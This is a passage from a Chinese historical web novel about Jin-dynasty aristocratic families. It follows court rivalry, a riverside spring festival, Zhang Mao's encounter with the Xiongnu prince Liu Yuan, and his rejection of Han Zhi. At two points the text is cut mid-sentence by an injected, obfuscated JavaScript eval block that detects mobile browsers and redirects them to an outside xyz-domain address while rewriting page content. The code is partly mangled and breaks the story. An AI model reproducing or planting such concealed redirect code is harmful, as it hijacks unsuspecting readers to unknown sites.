只是,国赖长君,即便赵充华生下皇子,能否长成尚是一说,贤愚与否,更不可测,岂能与东宫比肩? 郭老夫人叹气:“吾与汝从母几番进言,无奈两宫罅隙已深,皇后心狭,难掩私愤;东宫桀骜,不受规制。中间又有阿午、阿谧混闹挑拨,欲两宫和睦,难矣!” 裴頠无奈,连皇后的亲母都办不成的事,他们这些外臣除了干着急又能怎么办? 屋漏偏逢连夜雨。元正朝会后,皇后与太子之间唯一的纽带——皇后之母郭槐回府就病倒了。其间,御医几乎长住贾府,为她调养身体。裴頠还特地请皇甫神医去贾府替她诊过脉。 皇甫严得出的结论亦是郭槐殚精竭虑,气血两亏,需得静心养气,不得再动肝火。如此,郭槐只能在府里养着,轻易不再入宫。别人也不好再拿皇后与太子的官司烦扰她。 于是,本就与太子有嫌隙的贾家诸人,见天地围着皇后,为她出谋划策。 如今赵充华有了身孕,贾午不知从哪里请来一位方士。那方士隔着帷幕替赵充华号脉,言之凿凿地断定她腹中必是男胎,喜得皇后立刻赏那方士百金! 太子闻言,更是气得连初一、十五地椒房殿问安都不去了!两宫关系可谓冷到极点!即便迟钝如天子,亦感受到皇后与太子之间的暗潮涌动。可他全无办法,只能夹在老婆和儿子之间受夹板气。至于群臣,更是噤若寒蝉,唯恐殃及自己。 两宫争斗的事,虽未摆上明面,但世家彼此联姻,宫里有一点风吹草动,不出半日,朝臣们就全知道了。 唯有王衍清谈如旧,好不得意,惹得世家纷纷侧目:首鼠两端、卖女求荣的老狐狸,皮厚! 14. 第14章 不管宫中如何暗流涌动,都暂时跟钜鹿郡公府里的几个小辈无关。 裴憬在数算上的才华越来越遮掩不住,终于被教数算的师傅祖承发现端倪,几番试探后,祖承对裴憬惊为天人,虽然张茂也不差,但是张茂是苦练出来的功夫,裴憬却是天生奇才。 祖承对裴憬越发上心,甚至连自己私下的一些研究,也与他分享。 张茂本以为纸包不住火,祖承毕竟是裴頠的门客,他大可以将裴憬精于数算的事禀告给裴頠。然而祖承竟只字未与裴頠提。 张茂放下心来的同时,对这位师父的人品也更为敬重。 重三这日,春深日暖,青帝点翠,绿树浓荫里处处莺歌燕舞。少年男女们最为期盼的上巳佳节如约而至。窝了一冬的郎君女郎,终于可以褪下厚重的裘袄,换上轻薄的春衫,和家中的兄弟姊妹一起,相约去郊外踏青采风。 钜鹿郡公府的女眷在裴家儿郎、张茂还有一众部曲的护送下,到洛河边祓禊。 钜鹿郡公府人口简单,到京郊算是比较早的,出发前早有河东裴氏的部曲于河边拦好步障,供主家休憩。 裴妍到的时候,河东裴氏其他支系的女郎们还没有到。裴妡因为要陪河东公主,在宫里没出来。故而钜鹿郡公府的女郎就她一个。 二嫂崔氏与三嫂始平公主毕竟都是已婚妇人,与她这个未成年的小姑子之间没有多少话题。裴妍有些无聊地看着步障上方的天空,连片云都瞧不见,无趣得很! “阿妍,来得早呀!”裴妍闻声回头,原来是韩芷,她今日着一身石榴红对襟春衫配八破间色裙,下围白玉珠霄,行步见环佩叮当,好看又好听。 转过年韩芷就十四了,再过一年就要及笄。长成后的韩芷高挑丰满,玉面朱唇,别有风情。 相比而言,裴妍美则美矣,但毕竟年龄尚小,身量未开。如果说韩芷是一朵初绽的芍药,那么裴妍还只是枝头上含苞未放的牡丹。 世家的步障都靠在一起,有姻亲的更是直接连着,裴家旁边分别连着琅琊王氏和平阳贾氏。其中,贾家人到的尤为早,裴妍刚进自家步障,韩芷就兴冲冲地进来找她了。 “阿芷姊姊好美!”裴妍盛赞道。 “阿妍也很美啊!”韩芷嘴上恭维,右手却得意地扶了扶沉重的高鬟,为了梳出仙子鬟的巍峨,梳头娘子用了不少假发。 “姨婆身体好些没?”裴妍记得姨婆郭槐之前生病来着。 提到祖母,韩芷眼神暗了暗,叹道:“谈不上好也说不上坏,就是没精神,成日恹恹的。御医还有皇甫神医都来号过脉,除了说忧思过度,需得静养,也寻不出其他症候来。我们除了干着急,也没其他法子。” “这可真是,愁人呢!”裴妍同情道,还好她大母身体健壮,不然她也要愁得吃不下饭了。 “可不是,更让人寒心的,是东宫那位。”韩芷拿便面遮住她与裴妍,悄声道:“我大母往年对那位多好呢?而今她病了,那位跟没事人似的,东宫里歌照唱舞照跳,除了派人假惺惺地问过几次安外,竟没来侍过一天疾。说来真真让人寒心!” 裴妍哪里懂其中关窍,听韩芷这么一说,立刻义愤填膺道:“姨婆往日待他比亲外孙还亲,太子委实过分,娘娘也不管管!” “唉,他如今大了,娘娘哪敢管他!”韩芷摇着便面叹道。 她还欲说些什么,裴家其他几房的女郎们纷纷到了。 裴家只钜鹿郡公府与贾家有亲,其他人家与贾家谈不上亲近,故而韩芷很机警地住了嘴。 她看了看四周,问裴妍:“你阿兄他们呢?” 裴妍道:“阿兄新学了骑马,大概与阿茂哥去外面遛马了。” 韩芷眼睛一亮,跑马啊!唉,好时机啊!她怂恿裴妍:“天气那么好,老待在步障里有什么意思?咱们也出去溜溜?” 裴妍早有此意。裴妡不在,她与这些动不动就舞文弄墨、吟诗作对的姊妹姑侄们也委实聊不到一块去,除了寒暄两句家常,就再没别的话可讲了。因此韩芷的提议很得她支持。 二人禀过崔氏与始平公主,道是想去外间走走。两个嫂嫂已是妇人,自有很多妇人间的话题要聊,见韩芷来了,她们乐得把这个未成年的小姑子打发给韩芷带着。 于是裴妍与韩芷率着各自的婢女,手拉手地出了步障。 这一带是风景绝佳处,几乎世家的步障都拉在这里,外面是各家部曲把守,平民难以靠近。 韩芷正是少女怀春的时候,一路都在找裴家的郎君——张茂定是与裴家人在一起的。 果然,绕过两个缓坡后,河边地势突然变平,十几匹高头大马栓在树下,年轻的郎君们聚在河边。有舞剑唱和的,有弹琴自娱的,有舞文弄墨的,也有顺着低缓的河水曲水流觞吟诗作赋的。 张茂呢?他正和一个高头大马的青年壮士比剑,裴崇、裴该还有裴憬正胡坐在一边喝彩。 裴妍定睛看去,那个壮士好生眼熟:“越石阿舅?” 刘琨刘越石是裴妍与韩芷的表舅,同时也是金谷园二十四友之一,韩芷比裴妍更熟悉。 她爽利地牵过裴妍的手,道:“走,咱们也去道彩!” 裴家兄弟看到裴妍和韩芷找了来,都有些诧异,毕竟这里都是儿郎,女眷不在这处。 不过场上比试正到了关键时候,裴该给裴妍做了一个噤声的姿势,拉着她俩坐到了中间。 刘琨出身世家,自小受大家教导,自己也勤奋,年少时尝闻鸡起舞,如今他才二十出头,已号称洛阳第一剑客。 就见他剑花开合若奔月,飒沓如流星,刺挑劈斩迅若闪电。 张茂剑法上略显不足。不过他的功夫是在战场冲杀中练就出来的,论身姿飘逸自然比不过刘琨,但论实用狠绝,刘琨却比不上张茂。 二人比试了数个回合,竟分不出胜负,最终,许是张茂年幼力竭,刘琨以力道略胜一筹,一招平沙落雁,挑飞了张茂手里的剑。 张茂拱手敬服。 刘琨却在收剑后狠狠地拍了拍张茂的肩头,赞了句:“后生可畏!难怪赤龙盛赞你!” 看破不说破,张茂刚才到底是真的力有不逮还是有意相让,只有他们自己知道了。 刘琨出身高门,自己也颇有文才,与他的兄长刘舆厕身金谷园二十四友,但他却一点都不喜欢世家这种纸醉金迷、醉生梦死的生活。 他向往军营,想像当年冠军侯那样,封狼居胥,建功立业。 只是如今京城以外的兵权皆在诸王手里,他纵使有鸿鹄之志,也跳不出这京畿方寸之地。因此,他对征西军司出身的张茂很是欣赏,比剑之后,又拉着他不放,向他讨教起凉州诸事。 这可把等在一旁的韩芷急坏了,这个刘琨,怎么跟苍耳似的,粘着茂郞不撒手呢! 裴憬见韩芷脸上焦急,以为她哪里不舒服,赶紧递上绢帕,体贴道:“阿芷妹妹可是累着了?这里日头毒风也大,妹妹快回障内歇着罢!” 韩芷看了眼不远处正专注地和刘琨畅聊的张茂,又看了眼身旁无事献殷勤的裴憬。喜欢的人不理自己,不喜欢的人却眼巴巴地缠着,她心里恨得不行,却又无计可施,狠狠一跺脚,头也不回地走了。 留下裴憬裴妍兄妹面面相觑,她怎么生气了?刚刚还好好的呢! 张茂面上不动声色,待到韩芷走远,这才松了一口气。 刘琨比张茂虚长十岁,也是打这年头过来的,看他这样,还有什么不明白的? 他好笑地一拍张茂肩头,低声道:“窈窕淑女,君子好逑。阿芷出身锦绣,红颜少艾,多少儿郎求之不得,阿茂反倒避之不及?” 张茂知道刘琨与贾家有亲,生怕他误会,赶紧道:“韩女郎天人之姿,然齐大非偶,茂出身低微,不敢高攀。”贾家是高门大户,我张茂却出身贫寒,又不想像韩寿那样攀龙附凤,惹不起还躲不起么! 人各有志,刘琨笑笑不语。 韩芷走得太快,裴妍没跟得上。正好裴憬坐在这群才子中间很是难熬,兄妹俩商量一番,不如早点回去歇息。 张茂赶紧向刘琨告罪,护送兄妹俩回去。 谁知半路道上,一辆由高头大马拴着的安车向他们疾驰而来。 张茂赶紧将裴憬与裴妍拉至道边。待那马车靠近,才看见一中年壮汉正立于车上,吃力地勒紧缰绳,扭转马头。 张茂立时明白过来,定是这马受惊了!缓坡过去就是刚才儿郎们曲水流觞、谈经论道的地方,若是这辆马车继续疾行,后果不堪设想。 千钧一发之际,张茂抽出长剑,飞身上前,拼尽全力,一把斩落马头。这劲道,非力士不能及! 那没了头的马儿本能地往前奔了两步,再也支持不住,骤然倒下,连带着那车厢也轰然倒地,四裂开来,饶是张茂也吓了一跳! 车上的壮汉却先一步跳下马车,在地上翻滚一圈,以减缓冲之力,继而利索地站了起来。 张茂一眼就看出那中年男人是个练家子。那人一身玄色胡服,仪表堂堂,下巴留着浓厚的美髯,高鼻深目,一看就非汉人。 他站定后,略打量一番张茂,拱手赞道:“小郎临危不乱,剑术超群,渊佩服!”又盯着地上首尾分离的大马,颇惋惜道:“这大宛马也忒烈了。” 张茂这才看清,地上躺着的赫然是传说中的汗血宝马,连忙赔罪道:“汗血马一匹百金,茂事急从权,擅自斩杀郎君宝骑,望郎君恕罪。” 那人却浑然不在乎,一摆手道:“若非小郎出手,这疯畜生早冲撞了贵人,我又何止损失百金!” 张茂身手敏捷,又能一眼看出汗血马来,让这中年人起了兴趣。他对张茂拱手,自报家门:“某新兴刘渊。小郎如何称呼?” 张茂回礼:“小子张茂,安定郡人士。” 刘渊面上慷慨,心内了然,不是洛阳高门。也对,洛阳的世家儿郎都金娇玉贵地养大,哪能有这份果断狠绝。 他观这少年衣着气度,似也不是哪家部曲,便起了结交的心思,欣赏地点点头,对张茂道:“张小郎少年英武,人中龙凤,不知如今下榻何处?某今日尚有他事,待某事了,定登门答谢!”这是问他出处呢! 张茂有些犹豫,他看了眼身后犹自颤颤、还未能从刚才的事件中回过神来的裴家兄妹,不知该不该报出钜鹿郡公府的名号来。 “萍水相逢,当不得谢。”张茂谨慎道。 刘渊皱眉,故意引出话题:“小郎外地人?京中可有去处?某在京中有薄产,不若住某那去!” 张茂摇头,只得道:“小子家在城西听风坊,郎君打听散骑张常侍府就是。” 刘渊眼中闪过一道精光,散骑张常侍?别人不知,他却熟得不能再熟,那不是早年随扶风王横扫大漠的征西军司张轨么! 当年西征秃发鲜卑时,与马孝兴分别为扶风王司马骏的左右手。如此大才,却被赵王这个蠢材弃之不用,竟至壮年赋闲,备选京洛,他早有结交之心了! 刘渊任五部大都督的这两年,忙着收拢匈奴五部,既需文臣,又缺武将,正是求贤若渴的时候。没想到这小子居然是张轨的儿子,真是天助我也! 刘渊立即从身上掏摸一气,翻出一个莹洁透亮的和田玉琮来,双手递与张茂,郑重道:“原是张将军府上!某素来敬佩张将军为人,今日与小郎更是一见如故!这玉琮乃某偶然所得,质地上乘,赠与小郎,既为答谢,又为信物。”随即殷殷地与张茂定下上门拜谢之期。 张茂盛情难却,只好接过玉琮,与他定下旬日之约。 刘渊走后不久,林里突然蹿出一队部曲,从样貌上看,皆是胡人,他们利索地处理了地上的大马尸体,又把残车拖走,很快,林子里恢复了平静。 从张茂斩马,到部曲清扫马尸,所历不过片刻。因此,当裴崇和裴该来找他们时,地上除了一滩腥燥的马血,一切如常。 裴该推了推目瞪口呆的裴憬,笑道:“大兄怎么了?一动不动的?”又见地上一片狼藉,这才惊问他们发生何事。 张茂就把刚才斩马的事说了。 裴崇听罢,沉吟道:“新兴刘渊,南匈奴左贤王之子。” 张茂皱眉,竟是匈奴的王子! 裴崇接着道:“听阿耶说,他曾质居京城,与世家多有来往,后来虽然回了匈奴,但年年给京中豪门送礼,我们家也在内。他今年给我们家的节礼,还是内子清点的。” 始平公主辟府令居,不问家事。但崔氏却一直在帮王氏理家,故而裴崇对家中的人情往来知道得比裴该更清楚些。 “他非要找茂弟做什么?”裴该疑惑道。 张茂帮刘渊斩了疯马,刘渊也回馈了张茂玉琮,两清了啊! 张茂不语,握玉琮的手不自觉紧了紧,回想刚才见到的那人,龙睛凤目,日角隆准,看似温文,实则鹰视狼顾;言谈举止看似中正大度,却处处咄咄逼人。 一个乐于讨好京中权贵的匈奴王裔,却这么急着来他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001208|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家。他想做什么? 张茂隐隐有猜测,打算这两天就回去找父亲商量。 正思索间,他觉察自己袖口被人拉着动了动,回过头来,见裴妍一双圆溜溜的大眼睛泛着莹莹泪光,可怜巴巴地看着他:“阿茂哥,这里腥气太重,我们快走吧?” 张茂有些后悔,刚才那一剑必然是吓着这孩子了。他赶紧把裴妍拽到裴憬身边,让裴憬把妹妹牵着,一行人回了裴家步障。 裴家这里正热闹着,裴妃和儿子司马毗也在。裴妃的祖父裴徽,与裴妍的曾祖裴潜是亲兄弟。到裴妍这一辈两房隔得有点远,但是裴妍的父亲对裴妃有救命之恩,因而在一众娘家后辈里,她最疼惜裴妍兄妹。 裴妃见兄妹俩面色惨白,还以为他们是冻的。彼时虽已开春,但风仍料峭,最易伤寒。她赶紧把兄妹俩拉到自己跟前,把自己一直抱着的手炉塞给裴憬,又把裴妍揽在怀里暖着,亲儿子司马毗反而被挤到了一边。 司马毗觉得裴妍和裴憬的不太对劲,有心问一问他们的身边人。奈何二人身边并未带熟识的婢子小厮,身后只站着一个不太熟悉的张茂。 他拿询问的眼光看去,张茂却视而不见,只恭敬地朝他行了一礼,便再无交流。 司马毗心里不悦,裴家长房的下人都知道他家与主母交好,且很有可能是未来的姑爷,因而素来把他当半个主人待。就拿今日这事,若换作长河,早就很有眼力见地跑他这里说明情况了。然而张茂毕竟是清客,非普通奴仆。他即便不满,也不好说什么。只得顺手将自己的手炉给母亲递去,裴妃转手交给裴妍。 裴崇的妻子崔华堂笑道:“姑母跟阿妍就跟亲母女似的!” 小郭氏是寡妇,上巳这样的佳节往往不出门。她不在,崔氏就随便打趣了。 裴妃哈哈笑道:“可怜我只有一子,要真有阿妍这样的女儿就好了!”又把案上的葡萄抓给裴妍吃:“葡萄难得,家里就这些,阿毗知道你爱吃,让我全给你带来了。” 司马毗脸上一红,心说这么多人面前,阿母就不能遮掩点。 裴家的人几乎都知道裴妃的想法,因而只是暧昧的笑看着,只有入府不久的张茂感到诧异,他的目光不动声色地在裴妍与司马毗身上转了转。 裴家的主枝原本在裴徽这,但自从去年裴徽的幼子裴楷(中书令侍中)过世,裴徽一支再无高位。随着家族内的人才迭代,以钜鹿郡公裴頠为代表的裴潜这支,因能力突出,又与贾家、王家联姻,变得更有前途。 只是,裴妃即便想从裴潜这支里找儿媳,大可选裴頠的亲女裴妡,父母双全,本家、外家均得力。裴妃放着光芒四射的裴妡不要,却选了生父早亡的裴妍。这点让张茂有些诧异。 当然,此时的他还不知道裴妃与钜鹿郡公长房的渊源,故而有此疑问。 裴妃如此看重裴妍,裴家人里有乐见其成的,自然也有反对的。步障的一角,一个与裴妍差不多大的小女郎正痴痴地看着司马毗。 她的乳媪剥了枚橘子与她,她却崛起小嘴,指着裴妍面前盘子里的葡萄说:“阿媪,我也要吃葡萄!” 乳媪为难道:“那是东海王妃带来的,她不给我们,我们也不好上赶着去要。” 那小女郎气道:“姑姑真是偏心,有好东西净便宜外人!” 乳媪吓得赶紧捂住她的嘴,还好女郎周边没什么人,不然她这个做乳媪的也得跟着吃挂落。 谁让咱们这一房势微呢?乳媪叹气,她们的家主裴绰是裴妃的庶弟,官职并不高,在家族里也不受重视。 乳媪小声地劝慰:“二娘乖,听说葡萄酸不溜秋的,哪有这橘子好吃?” 那小女郎却起身往裴妃那里走:“我跟姑姑要点来,不就是几颗葡萄么,不信姑姑不给!” 这这……事倒不算个事,可连区区一盘葡萄都要跟外嫁的姑姑要,她们这一房岂不更成了家里的笑话? 她们的家主裴绰最要脸面,这事要是传回去,她这个做乳母的,少不得一番训斥。 于是,乳媪赶紧拦住她,连哄带劝道:“不就是葡萄嘛,二娘下回写家书时,请大郎捎带些回来就是。”小女郎的同母哥哥裴遐去年始在东海王府任主簿,很得王妃赏识。兴许大郎能从王府里得一些葡萄也未可知。 提到哥哥,小女郎这才露出点笑容。她嫉恨地看了看裴妍和坐在裴妍身边的裴憬。又有些希冀地看向裴妃和司马毗。 哼!她哥哥文武双全,是裴家年轻一代里的翘楚,初入王府就得到了姑姑的赏识,就冲这一点,她也比裴妍有倚仗。待她的哥哥更进一步,也许王妃姑姑便能看到自己了? 毕竟,论血亲,自己可比钜鹿郡公府的女郎近得多!那个裴妍,除了长得漂亮,还有什么! 司马毗隐隐觉得身后有人在盯着他,回头望去,只见一个眼熟的小姑娘正痴痴地看向自己。好像是裴绰阿舅的女儿?他朝她略略点了点头。 那小女郎脸上瞬间染上春桃般的绯红,含羞带怯地亦朝他点头致意。 张茂静静地坐在裴憬身后,冷眼看着他们。他早就注意到了这个缩在角落吃橘子的小女郎,她看向裴妍兄妹的眼神可算不上友好。之前他还疑惑,不知裴憬和裴妍哪里招惹她了?待看到她看司马毗的眼神,才瞬间明了,原来梁子结在了这里! 然而作为当事人的裴妍兄妹,却丝毫未曾察觉。张茂状似无意地坐到了裴憬斜后方的另一侧,生生挡住了这股恼人的视线。 然而,他自己也好不到哪里去。因着长相风流,幕帐里,不少妇人贵女都有意无意地看向他。 他甚至听到自己身后有几个女郎在窃窃私语:“这就是那个被王赤龙盛赞的张小郎啊!” “就是他!长得真俊!怪道都说他貌比潘郎!” “可惜了,性子木了点,自进来起就一句话不曾讲。” …… 张茂从来没有如此被女眷们围观过,只觉如坐针毡。 身旁的裴憬朝他使了个眼色,张茂知道,他也不想待在女人堆里。这是要他找个借口一起出去呢! 只是,张茂看向身边的裴妍,有些放心不下她。 恰此时司马毗从袖囊中掏出两枚晶莹剔透的水玉递给裴妍,引得她惊叹连连。 张茂只觉心里有点失落,却又说不出原由。 裴憬不明就里,又拽了拽他的袖子,张茂想了想,左右公主和崔氏也在这,裴妍应该不会被欺负了去,便借口裴崇有诗会,随裴憬告退了。 15. 张茂无情拒韩芷,长房郊外送裴妃 游玩了半日,不管是儿郎还是贵女,都有些饿了。 钜鹿郡公家的午晌是在洛河上的画舫里歇的。 画舫是贾家的,由两船并列而成,形制颇大,拢共有两层。底层两边有部曲做舟子,船两头有彩绸裹着麻绳,靠岸的时候,船上的舟子将麻绳抛出,岸上自有纤夫拉着船头将画舫拉靠岸。 贾谧把钜鹿郡公府的郎君和女眷都请了来。贵人都在二层,东船郎君,西舫女客,各有各的乐子。 女眷这里是贾谧的妻子王景风主持,韩芷作为小姑子,也帮忙招待。只是她的眼神时不时黏在东边郎君的船上。 贾谧请的贵客,除了钜鹿郡公家和王家的几位公子,还有与他唱和往来颇多的金谷园二十四友。其中石崇是这群人里最风流的。他不仅自己来了,还把他最得意的艺伎绿珠也带上了船。 绿珠的大名京城里谁人不晓?一时间郎君们纷纷起哄,要绿珠一展才艺。 石崇也不推辞,当即命绿珠献舞一曲。绿珠不敢跳韩芷跳过的《明妃曲》,于是选了另一支舞曲《掌中燕》。这是唱汉成帝皇后赵飞燕的。 绿珠身材窈窕,一袭碧色广袖在洛河春风中摇曳生姿,脚步轻快,腰肢盈盈,踩在方寸黑釉帖花纹鼓上翩翩起舞,好似掌中飞燕,欲要乘风归去。 在座的嘉宾纷纷叫好!郎君们的哄闹自然传到了女眷这里。女郎们对艺伎之流虽鄙夷,却也着实好奇。她们中的不少人听说过绿珠的大名,纷纷挤在船舷,想一饱眼福。 晌午金光刺眼,韩芷眯眼望去,在那群郎君里隐隐看到张茂,见他正坐于裴憬身后,亦专注地欣赏着绿珠歌舞。她只觉心里酸酸的,把手里的春酒一饮而尽,不屑道:“什么玩意儿,也敢往郎君面前凑。” 一旁的王景风见小姑子两颊微红,隐有醉意。赶紧命人把她的酒瓶酒盏收了,小声劝道:“是石将军的带来的,助兴而已,娱人娱己,我都没说什么,你何必愤愤。” “哼!”韩芷嗤道:“我怕她带坏了好人!” 她扶着栏杆站起身子,痴痴望着张茂的方向,问她嫂子:“阿嫂,你说,我像阿母那样,招一个清客做夫婿,阿母会答应吗?” 王景风眼皮一跳。韩芷对那位叫张茂的钜鹿郡公府清客有好感,这事她隐有察觉。只是没敢在她婆婆还有贾谧面前多嘴,毕竟疏不间亲,她一个外来媳妇儿,哪敢多管小姑子的闲事?而况贾府家风本就不正,她婆婆就是婚前偷人的主,又如何教得好女儿? 不过眼看着韩芷越陷越深,她觉得这事不能再瞒了,还是找个时间跟夫君说一声才好。 只是如今,嘉宾当前,万不能失态。她劝道:“小姑年轻貌美,哪个儿郎舍得拒绝?只是清客的出身到底差了点。小姑若真有这心思,还是先与家主商量妥当才好。千万别可着自己心意胡来。” 这时,裴妍也挤过来看绿珠歌舞。韩芷现在看裴家人分外顺眼,她一把将裴妍拉到自己身边坐着,殷勤道:“跟她们挤什么,我这里看得最清楚!” 确实,韩芷坐在船头首位,一转头就是绿珠载歌载舞的倩影。 裴妍点头,当真目不转睛地观赏起来,赞叹道:“这个女郎跳得真好,就是衣服太薄了些,她不冷么?”这才春天啊! 韩芷闻言,立马附和道:“可不是!你说这些艺伎,夏天是不是不穿衣服了?” 王景风见她越说越离谱,怕她在宾客面前失态,传出去贾家的家风更遭质疑,赶紧打发她出去醒酒,道:“刚舟子来禀,说船尾有龙鱼来贺,你不若带阿妍去看看?” 什么龙鱼来贺,不就是事先把养好的锦鲤倒水里,再撒上鱼饵,做出万鱼来朝的假象,讨个喜气罢了。 韩芷无语地翻个白眼,不过她这里因着观赏角度好,挤了不少女郎来,她正觉烦闷,出去透透气也好。 她拉了拉裴妍,道:“妍妹跟我一道去船尾观鱼吧?” 裴妍爽快地道好。船尾没什么人,舟子正把泛着金光的龙鱼放下水。 韩芷接过喂食的篓子,向下面抛了一把鱼食,顿时河里金光耀眼,分不清是鱼鳞还是水花。 裴妍眼睛都看直了。龙鱼金贵,钜鹿郡公府史学传家,不兴豪奢之事。这样的万鱼争食的场景,韩芷见惯了,裴妍却见得不多。 恰此时,张茂亦避开人群,到船尾来散酒。 韩芷一眼便瞧见了他。她把装着鱼食的篓子塞给裴妍,道:“有意思吧,来,都给你。”又嘱咐她道:“我与张小郎有话要说,阿妍帮我看着,若有人来,且先拦上一拦。” 裴妍懵懂点头,心下疑惑,韩芷表姊和阿茂哥有什么话好说的?不过她的注意力很快被水上浮光跃金的龙鱼吸引,也就无暇关注他俩做什么了。 两船并列而行。韩芷所在的画舫因是供女眷用,船顶盖着厚厚的帷幔,虚虚实实,遮人耳目。因而张茂并未注意到女船上的她。 韩芷悄无声息地上了东船,自张茂身后绕过,本想拍一拍他的肩头,吓他一吓,张茂却脑后长眼似的,一个反手将韩芷锁喉在地。 韩芷只觉脖子一紧,随即天旋地转,后背刹时钝痛,回过神来时,人已倒仰在地,脖子被人死死扣住。 张茂定睛,发觉是韩芷,大惊,赶紧松手,一边将人扶起,一边忙不迭地赔礼告罪。 韩芷将计就计,一手扶额,上半身直接掉进张茂怀里,软声道:“可吓着奴家了。茂郞出手忒狠了些。” 张茂一手撑住韩芷,想与她分开些,奈何韩芷跟蛇妖似的,牢牢勾着他的脖颈不松手,他不敢硬扯,只得无奈解释:“某在军中,常遇敌偷袭,难免机警些,误伤女郎,实为茂之过。” 韩芷眼珠一转,娇声道:“茂郞方才那一下,我腰上好似伤了。劳烦郎君帮我揉揉可好?” 不好!张茂暗自叫屈,大庭广众之下,他若是逾举,那他俩的关系可就跳进黄河也洗不清了! “茂郞不喜欢奴家?”韩芷是个直爽的姑娘,她一个女郎都敢这么豁出去,张茂居然推三阻四地? 巧了,张茂也是个直爽的。说开了也好! “韩女郎天人之姿,某出身乡野,不敢高攀!”张茂先是婉拒。 “出身算什么?我阿耶是高门么!”韩芷盈盈上前,语带蛊惑。 “某无令尊鸿鹄之志!”张茂退后一步,说出的话如他的人一样冰冷。 韩芷有一瞬的愣怔,长这么大,她还是第一次尝到被人拒绝的滋味!这个人还是自己喜欢的人! 她一向自负,从来没想过居然有人舍得拒绝她,美人加前程,不正是郎君们梦寐以求的么! 她樱唇半咬,继而眼眶湿红,美人落泪,最考验男人的心性。然而张茂郎心如铁,僵着身子不为所动。 恰此时,裴妍手里的鱼食喂尽了,她想起韩芷来,于是一撩船尾的帷帐,探头找人。却惊讶地发现韩芷居然还在和张茂说话。 只是韩芷似受了什么委屈,一副泫然欲泣的模样。而张茂则面无表情,裴妍一时间不知他们发生了什么事。 好在她人虽傻乎乎的,却也知道孤男寡女在一起是不能声张的,赶紧撩起帷帐跨过去,小声询问韩芷:“阿姐怎么了?” 张茂从来没有像此刻这样感激裴妍,他赶紧向裴妍走去,解释道:“韩女郎不慎滑了一跤,你照顾一下她,我去叫郎中来。” 言罢,头也不回地走了。 韩芷眼睁睁地看着张茂渐行渐远,只觉一缕清风飞过,她什么也抓不住。 不一会,隔壁女船上的王景风携郎中闻风而来,不过来人仅限这几人了,想必张茂请了贾谧,贾谧见妹妹在男子船上,又与张茂一处,联想前因后果,没敢多喊人,只叫了妻子王景风和郎中来善后。 韩芷被王景风和婢女扶回了女船上。她也知丢人,别人问起,便顺着张茂的话讲,说自己带裴妍喂鱼,鱼群太多,喂完西舫又来东船,一不留神,跌了一跤…… 倒是贾家人,经此一事后,对韩芷的言行突然严厉起来,再不给她与外男单独相处的机会。 尤其韩寿,他自己攀龙附凤,但不代表他能接受同样出身低微的女婿。 韩芷似乎被张茂伤透了心,自那之后,哪怕见到裴妍裴妡也都是淡淡的。 裴妡有些奇怪,她是公主身边的红人,韩芷是皇后身边的红人,以前她们玩得挺好的呀,怎么如今见到自己就躲呢?却不好多问,只得把疑问藏在心底。 至于裴妍,素来心大,韩芷不跟她玩,她找别人就是。 最伤心的莫过于裴憬,他不明白好端端的,韩芷怎么突然就不理自己了!那么多亲戚女眷里,他独独喜欢韩芷,觉得这个妹妹怎么瞧怎么漂亮,人也鲜活,和她说话有问有答的。 韩芷以前还肯敷衍裴憬,在被张茂拒绝后,她对整个裴家都敬而远之。裴憬也算是枉受了池鱼之灾。 上巳之后,张茂就匆匆回了一趟家里,他与刘渊约的旬日,在此之前,他得先与父兄通个气。 张家自贾蓁这个长媳进门后,面貌有了很大改变。往常张家到处灰扑扑的,阳刚有余,柔情不足。贾蓁进门后,婆婆马氏手把手带了她月余,见儿媳很有本事,家事处理起来游刃有余,就放心地把洛京的事交给了她,自己回凉州打理祖产去了。 贾蓁接手张家后,用娘家带来的陪嫁,把家里从门房到内室重新布置了一番。 待张茂进府时,才发现家里面貌焕然一新。到处珠帷锦帐,很有几分钜鹿郡公府的气派。下人里婢女也多了起来。之前张府只三个爷们儿并几个清客,多用的小厮童子,除张轨有一房妾室并两个婢女外,再没别的女眷。 如今贾蓁进门后,又有不少陪房婆娘及家生婢子,穿着统一的制式青麻春衫,来回穿梭在回廊花园里,给家里添了不少亮色。 见到张茂回家,不少年轻的婢女目露春色,路过他身边时皆盈盈见礼,走路的速度亦放慢了些。 不过张茂目不斜视,直奔父亲书房。 张茂来家的时候,张寔还在官署,只张轨并两个凉州来的门客,名唤氾瑗、阴充的在书房议事。 与父亲互通消息后,令张茂惊讶的是,那刘渊居然在前一天给家里送来过三匹汗血宝马,道是谢他斩马相救之恩。 张轨不知底里,哪里敢收,赶紧命人退了回去,即便张茂今天不来找他,他也预备去钜鹿郡公府向小儿子打听详情的。 如今张轨二子,长子为中书舍人,次子为钜鹿郡公府清客,都算有了着落。唯独他自己壮年赋闲,说不着急是假的。 但张轨眼瞅着京城水深,便想着回凉州卷土重来,在他眼里,凉州才是他张家根基所在。 因此,这些日子以来,他一直静待时机,筹谋重返 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001209|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河西,对于刘渊的拉拢,并未动心。 “刘元海能人也,今上假之威权,恐其不复北渡,迟早为中国患。”张轨如是评价道。他这些日子赋闲在家,时常拿出舆图,分析拆解天下大势。对于居住在晋阳汾水和涧水一带的匈奴人,很是关注。 